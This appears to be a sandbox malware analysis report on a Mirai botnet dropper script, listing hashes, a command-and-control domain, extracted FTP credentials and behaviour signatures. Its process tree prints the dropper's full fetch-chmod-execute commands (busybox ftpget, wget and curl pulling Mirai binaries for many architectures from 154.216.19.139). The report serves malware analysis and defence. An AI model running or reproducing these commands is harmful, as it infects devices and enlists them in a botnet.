Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-08-2024 10:43

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f064b93641da57ab1b510a06a284bacd

  • SHA1

    77ebf690333960186de349f1ccd1d6ac9df3748a

  • SHA256

    1a8b53d206810f02a59c8a0ce14bd3ff49a31f78802ef24e0a3e63fd4e857b2d

  • SHA512

    02e4910ae45ca7e75053ede74511bcf417a72a1d15fb60c2e44bae30320b0e89dd98d383aefec312b23dca671892d0e1d6991fb45c5d5af0bcf21d84388c0e54

  • SSDEEP

    48:pccGoQSoGFIAw6YQFaak0xrr6TofZKYn6ra/oSY9QJgnmlt6YLupG:+cGoQSoGFhw6ZFaakwrhcsd/+wa4t

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    154.216.19.139
  • Port:
    21
  • Username:
    anonymous
  • Password:
    busybox@

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    secure.microsoftconnect.net
  • Port:
    21
  • Username:
    anonymous
  • Password:
    busybox@

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

C2

secure.microsoftconnect.net

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (21042) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Deletes itself 4 IoCs
  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 8 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 4 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 4 IoCs
  • Reads system network configuration 1 TTPs 4 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 32 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1472
      • /bin/rm
        rm starter
        2⤵
          PID:1473
        • /bin/busybox
          busybox ftpget 154.216.19.139 starter /bins/starter.sh
          2⤵
          • Writes file to tmp directory
          PID:1474
        • /bin/sh
          sh ./starter
          2⤵
            PID:1489
            • /bin/mkdir
              mkdir /tmp/azvFgdBZ
              3⤵
                PID:1490
              • /bin/busybox
                busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.bin
                3⤵
                • Writes file to tmp directory
                PID:1491
              • /bin/chmod
                chmod 0755 ./dvrHelper
                3⤵
                  PID:1499
                • /tmp/azvFgdBZ/dvrHelper
                  ./dvrHelper
                  3⤵
                  • Deletes itself
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:1500
                • /bin/busybox
                  busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.armv4l
                  3⤵
                  • Writes file to tmp directory
                  PID:1502
                • /bin/chmod
                  chmod 0755 ./dvrHelper
                  3⤵
                    PID:1505
                  • /tmp/azvFgdBZ/dvrHelper
                    ./dvrHelper
                    3⤵
                    • Executes dropped EXE
                    PID:1506
                  • /bin/busybox
                    busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.armv5l
                    3⤵
                    • Writes file to tmp directory
                    PID:1508
                  • /bin/chmod
                    chmod 0755 ./dvrHelper
                    3⤵
                      PID:1509
                    • /tmp/azvFgdBZ/dvrHelper
                      ./dvrHelper
                      3⤵
                      • Executes dropped EXE
                      PID:1510
                    • /bin/busybox
                      busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.armv6l
                      3⤵
                      • Writes file to tmp directory
                      PID:1512
                    • /bin/chmod
                      chmod 0755 ./dvrHelper
                      3⤵
                        PID:1513
                      • /tmp/azvFgdBZ/dvrHelper
                        ./dvrHelper
                        3⤵
                        • Executes dropped EXE
                        PID:1514
                      • /bin/busybox
                        busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.armv7l
                        3⤵
                        • Writes file to tmp directory
                        PID:1516
                      • /bin/chmod
                        chmod 0755 ./dvrHelper
                        3⤵
                          PID:1517
                        • /tmp/azvFgdBZ/dvrHelper
                          ./dvrHelper
                          3⤵
                          • Executes dropped EXE
                          PID:1518
                        • /bin/busybox
                          busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.i586
                          3⤵
                          • Writes file to tmp directory
                          PID:1520
                        • /bin/chmod
                          chmod 0755 ./dvrHelper
                          3⤵
                            PID:1521
                          • /tmp/azvFgdBZ/dvrHelper
                            ./dvrHelper
                            3⤵
                            • Deletes itself
                            • Executes dropped EXE
                            • Modifies Watchdog functionality
                            • Enumerates active TCP sockets
                            • Changes its process name
                            • Reads system network configuration
                            • Reads runtime system information
                            PID:1522
                          • /bin/busybox
                            busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.i686
                            3⤵
                            • Writes file to tmp directory
                            PID:1525
                          • /bin/chmod
                            chmod 0755 ./dvrHelper
                            3⤵
                              PID:1530
                            • /tmp/azvFgdBZ/dvrHelper
                              ./dvrHelper
                              3⤵
                              • Deletes itself
                              • Executes dropped EXE
                              • Modifies Watchdog functionality
                              • Enumerates active TCP sockets
                              • Changes its process name
                              • Reads system network configuration
                              • Reads runtime system information
                              PID:1531
                            • /bin/busybox
                              busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.m68k
                              3⤵
                              • Writes file to tmp directory
                              PID:1534
                            • /bin/chmod
                              chmod 0755 ./dvrHelper
                              3⤵
                                PID:1539
                              • /tmp/azvFgdBZ/dvrHelper
                                ./dvrHelper
                                3⤵
                                • Executes dropped EXE
                                PID:1540
                              • /bin/busybox
                                busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.mips
                                3⤵
                                  PID:1542
                                • /bin/busybox
                                  busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.mipsel
                                  3⤵
                                  • Writes file to tmp directory
                                  PID:1545
                                • /bin/chmod
                                  chmod 0755 ./dvrHelper
                                  3⤵
                                    PID:1546
                                  • /tmp/azvFgdBZ/dvrHelper
                                    ./dvrHelper
                                    3⤵
                                    • Executes dropped EXE
                                    PID:1547
                                  • /bin/busybox
                                    busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.powerpc
                                    3⤵
                                    • Writes file to tmp directory
                                    PID:1549
                                  • /bin/chmod
                                    chmod 0755 ./dvrHelper
                                    3⤵
                                      PID:1550
                                    • /tmp/azvFgdBZ/dvrHelper
                                      ./dvrHelper
                                      3⤵
                                      • Executes dropped EXE
                                      PID:1551
                                    • /bin/busybox
                                      busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.sh4
                                      3⤵
                                      • Writes file to tmp directory
                                      PID:1553
                                    • /bin/chmod
                                      chmod 0755 ./dvrHelper
                                      3⤵
                                        PID:1554
                                      • /tmp/azvFgdBZ/dvrHelper
                                        ./dvrHelper
                                        3⤵
                                        • Executes dropped EXE
                                        PID:1555
                                      • /bin/busybox
                                        busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.sparc
                                        3⤵
                                        • Writes file to tmp directory
                                        PID:1557
                                      • /bin/chmod
                                        chmod 0755 ./dvrHelper
                                        3⤵
                                          PID:1558
                                        • /tmp/azvFgdBZ/dvrHelper
                                          ./dvrHelper
                                          3⤵
                                          • Executes dropped EXE
                                          PID:1559
                                        • /bin/busybox
                                          busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.x86_64
                                          3⤵
                                          • Writes file to tmp directory
                                          PID:1561
                                        • /bin/chmod
                                          chmod 0755 ./dvrHelper
                                          3⤵
                                            PID:1562
                                          • /tmp/azvFgdBZ/dvrHelper
                                            ./dvrHelper
                                            3⤵
                                            • Deletes itself
                                            • Executes dropped EXE
                                            • Modifies Watchdog functionality
                                            • Enumerates active TCP sockets
                                            • Changes its process name
                                            • Reads system network configuration
                                            • Reads runtime system information
                                            PID:1563
                                          • /bin/busybox
                                            busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.gnueabihf
                                            3⤵
                                            • Writes file to tmp directory
                                            PID:1566
                                          • /bin/chmod
                                            chmod 0755 ./dvrHelper
                                            3⤵
                                              PID:1571
                                            • /tmp/azvFgdBZ/dvrHelper
                                              ./dvrHelper
                                              3⤵
                                              • Executes dropped EXE
                                              PID:1572
                                            • /bin/busybox
                                              busybox ftpget 154.216.19.139 dvrHelper /bins/mirai.arc
                                              3⤵
                                              • Writes file to tmp directory
                                              PID:1574
                                            • /bin/chmod
                                              chmod 0755 ./dvrHelper
                                              3⤵
                                                PID:1575
                                              • /tmp/azvFgdBZ/dvrHelper
                                                ./dvrHelper
                                                3⤵
                                                • Executes dropped EXE
                                                PID:1576
                                            • /bin/rm
                                              rm dvrHelper
                                              2⤵
                                                PID:1578
                                              • /usr/bin/wget
                                                wget http://web.archive.org/web/20240808120223if_/http://154.216.19.139/bins/mirai.bin -O dvrHelper
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1579
                                              • /bin/rm
                                                rm dvrHelper
                                                2⤵
                                                  PID:1582
                                                • /usr/bin/wget
                                                  wget http://web.archive.org/web/20240808120646if_/http://154.216.19.139/bins/mirai.armv4l -O dvrHelper
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1583
                                                • /bin/rm
                                                  rm dvrHelper
                                                  2⤵
                                                    PID:1587
                                                  • /usr/bin/wget
                                                    wget http://web.archive.org/web/20240808120945if_/http://154.216.19.139/bins/mirai.armv5l -O dvrHelper
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:1589
                                                  • /bin/rm
                                                    rm dvrHelper
                                                    2⤵
                                                      PID:1593
                                                    • /usr/bin/wget
                                                      wget http://web.archive.org/web/20240808121041if_/http://154.216.19.139/bins/mirai.armv6l -O dvrHelper
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:1594
                                                    • /bin/rm
                                                      rm dvrHelper
                                                      2⤵
                                                        PID:1595
                                                      • /usr/bin/wget
                                                        wget http://web.archive.org/web/20240808121121if_/http://154.216.19.139/bins/mirai.armv7l -O dvrHelper
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:1599
                                                      • /bin/rm
                                                        rm dvrHelper
                                                        2⤵
                                                          PID:1602
                                                        • /usr/bin/wget
                                                          wget http://web.archive.org/web/20240808121230if_/http://154.216.19.139/bins/mirai.i586 -O dvrHelper
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:1604
                                                        • /bin/rm
                                                          rm dvrHelper
                                                          2⤵
                                                            PID:1605
                                                          • /usr/bin/wget
                                                            wget http://web.archive.org/web/20240808121308if_/http://154.216.19.139/bins/mirai.i686 -O dvrHelper
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:1609
                                                          • /bin/rm
                                                            rm dvrHelper
                                                            2⤵
                                                              PID:1613
                                                            • /usr/bin/wget
                                                              wget http://web.archive.org/web/20240808121347if_/http://154.216.19.139/bins/mirai.m68k -O dvrHelper
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:1614
                                                            • /bin/rm
                                                              rm dvrHelper
                                                              2⤵
                                                                PID:1618
                                                              • /usr/bin/wget
                                                                wget http://web.archive.org/web/20240808121419if_/http://154.216.19.139/bins/mirai.mips -O dvrHelper
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:1619
                                                              • /bin/rm
                                                                rm dvrHelper
                                                                2⤵
                                                                  PID:1620
                                                                • /usr/bin/wget
                                                                  wget http://web.archive.org/web/20240808121832if_/http://154.216.19.139/bins/mirai.mipsel -O dvrHelper
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:1624
                                                                • /bin/rm
                                                                  rm dvrHelper
                                                                  2⤵
                                                                    PID:1625
                                                                  • /usr/bin/wget
                                                                    wget http://web.archive.org/web/20240808122159if_/http://154.216.19.139/bins/mirai.powerpc -O dvrHelper
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:1629
                                                                  • /bin/rm
                                                                    rm dvrHelper
                                                                    2⤵
                                                                      PID:1630
                                                                    • /usr/bin/wget
                                                                      wget http://web.archive.org/web/20240808122448if_/http://154.216.19.139/bins/mirai.sh4 -O dvrHelper
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:1634
                                                                    • /bin/rm
                                                                      rm dvrHelper
                                                                      2⤵
                                                                        PID:1635
                                                                      • /usr/bin/wget
                                                                        wget http://web.archive.org/web/20240808122636if_/http://154.216.19.139/bins/mirai.sparc -O dvrHelper
                                                                        2⤵
                                                                        • Writes file to tmp directory
                                                                        PID:1639
                                                                      • /bin/rm
                                                                        rm dvrHelper
                                                                        2⤵
                                                                          PID:1643
                                                                        • /usr/bin/wget
                                                                          wget http://web.archive.org/web/20240808122755if_/http://154.216.19.139/bins/mirai.x86_64 -O dvrHelper
                                                                          2⤵
                                                                          • Writes file to tmp directory
                                                                          PID:1644
                                                                        • /bin/rm
                                                                          rm dvrHelper
                                                                          2⤵
                                                                            PID:1648
                                                                          • /usr/bin/wget
                                                                            wget http://web.archive.org/web/20240808122936if_/http://154.216.19.139/bins/mirai.gnueabihf -O dvrHelper
                                                                            2⤵
                                                                            • Writes file to tmp directory
                                                                            PID:1649
                                                                          • /bin/rm
                                                                            rm dvrHelper
                                                                            2⤵
                                                                              PID:1652
                                                                            • /usr/bin/wget
                                                                              wget http://web.archive.org/web/20240808123114if_/http://154.216.19.139/bins/mirai.arc -O dvrHelper
                                                                              2⤵
                                                                              • Writes file to tmp directory
                                                                              PID:1654
                                                                            • /bin/rm
                                                                              rm dvrHelper
                                                                              2⤵
                                                                                PID:1655
                                                                              • /usr/bin/curl
                                                                                curl http://web.archive.org/web/20240808120223if_/http://154.216.19.139/bins/mirai.bin -o dvrHelper
                                                                                2⤵
                                                                                  PID:1658

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v15

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              • /tmp/azvFgdBZ/dvrHelper

                                                                                Filesize

                                                                                914KB

                                                                                MD5

                                                                                6a98f1f740434bb0d3da9a431bb7fefd

                                                                                SHA1

                                                                                4d7242cbfa380596d0292c9c9be847862cdb24f1

                                                                                SHA256

                                                                                ad3c19afec823def5b53f480eb919b75129dc820dbead758ecc5097d3ddbacef

                                                                                SHA512

                                                                                5b76a071270d7c213639bb111903f8c74445a7b5e8af88aab04957c6586332dce7c866a3031ea78544fcffbc3e39b6c90d712d6ab06bbf97a0418d9290de7558

                                                                              • /tmp/azvFgdBZ/dvrHelper

                                                                                Filesize

                                                                                59KB

                                                                                MD5

                                                                                b480aeaa8aea4c14f64a18c173446b7e

                                                                                SHA1

                                                                                f32fc9d6287db05d9a48a948f4aa2ba04e4b73a4

                                                                                SHA256

                                                                                0ab267b78d6c6d1faada747adba0da9f57ce3a7dc1b9a4e968f313dc41d6add1

                                                                                SHA512

                                                                                589f02b57d842c5f348c3f50f32a2e8c45ee30d25f61524a58f590780a3558578b4780bb93a69a2419aab7bcf47a929801c77c6e63b8ade436fcc31bb546f4ba

                                                                              • /tmp/azvFgdBZ/dvrHelper

                                                                                Filesize

                                                                                52KB

                                                                                MD5

                                                                                239a2559915a73284cc52944dd9c9643

                                                                                SHA1

                                                                                8c19ed6b2f40232bd38ec7013ced9b8c9ffa7a3f

                                                                                SHA256

                                                                                c8f07011c9d3cd46cdc9d1bc9cef48a36c14defb0f94dd1d3a67e085a6fac55a

                                                                                SHA512

                                                                                0eb5b42f41718019a78111e9367e65668c3bcda0f1d469c7ea15fdbef517135ca616cf1bb780f38a835bbed4c932be43d0a9d9152508e866116f6e534c833eec

                                                                              • /tmp/azvFgdBZ/dvrHelper

                                                                                Filesize

                                                                                69KB

                                                                                MD5

                                                                                55d936e9afa4b869c8f6fe345c217f1e

                                                                                SHA1

                                                                                ffdfbc85c3452cd781a0df555f2a7bad07d86fce

                                                                                SHA256

                                                                                b1229bb669f3c7578cbc77e41dec812ec366394bcb344c7c65a5e8fab5fc5164

                                                                                SHA512

                                                                                e3e7d62dc810c66ac5c973a4eb6931c251715f065c95d4f5397405c3e32463f5d3732d41f1187c904765c09e6936a0ff8ca0ae2e6f7aa55d0e103d0dde4acdf6

                                                                              • /tmp/azvFgdBZ/dvrHelper

                                                                                Filesize

                                                                                87KB

                                                                                MD5

                                                                                47d8efca2764e49c87e24ec8701a426e

                                                                                SHA1

                                                                                b3a085cd33cbc24931d9f03bcc13e6e41bb8f44f

                                                                                SHA256

                                                                                59560da4441b5e239b5d330890fd163bebc42f3fc6b4b113d8332935b6da0a87

                                                                                SHA512

                                                                                4fe12e641522a19f0d25e0380c1f99cca1694257b6e4e038adb561ac78cc20e1c2ca772237282ac24c0bfceac4a9797e96c040b6aea5dfbfea655919c8ff02e8

                                                                              • /tmp/azvFgdBZ/dvrHelper

                                                                                Filesize

                                                                                360KB

                                                                                MD5

                                                                                7a81da52d99ff2fe3feacccab9ca5076

                                                                                SHA1

                                                                                941ad2b09c6f1de8f9ece786dded59279a51adcc

                                                                                SHA256

                                                                                575e7ba6c123a339ef5989852abfbaea24af6df81f4321ea80e8a5d3fd60482f

                                                                                SHA512

                                                                                e7146e94216296bc5d0929f9d41688f461fa631f81078040514917f4c397026ee2feba6f04e8fd4a42859a79a85c6c2a9f34404179ae5beeff769700c4cf0295

                                                                              • /tmp/starter

                                                                                Filesize

                                                                                1KB

                                                                                MD5

                                                                                7f2ff2a38336a889de920d227574d543

                                                                                SHA1

                                                                                58d61a19d9785a51d379547cfbd8326e7474535d

                                                                                SHA256

                                                                                f2232fae5a51d77cd7d00264806f08b0435f320b2d81530d7a87fe2fa13982f8

                                                                                SHA512

                                                                                ca8d1b911f664f69593da1b5b8a43ea00d324ca74df870eb1bac356eb240492af5e1a5aed8d1fda1c1266adfb577c05788ccfdd6ba387e132e84ad75eefc9feb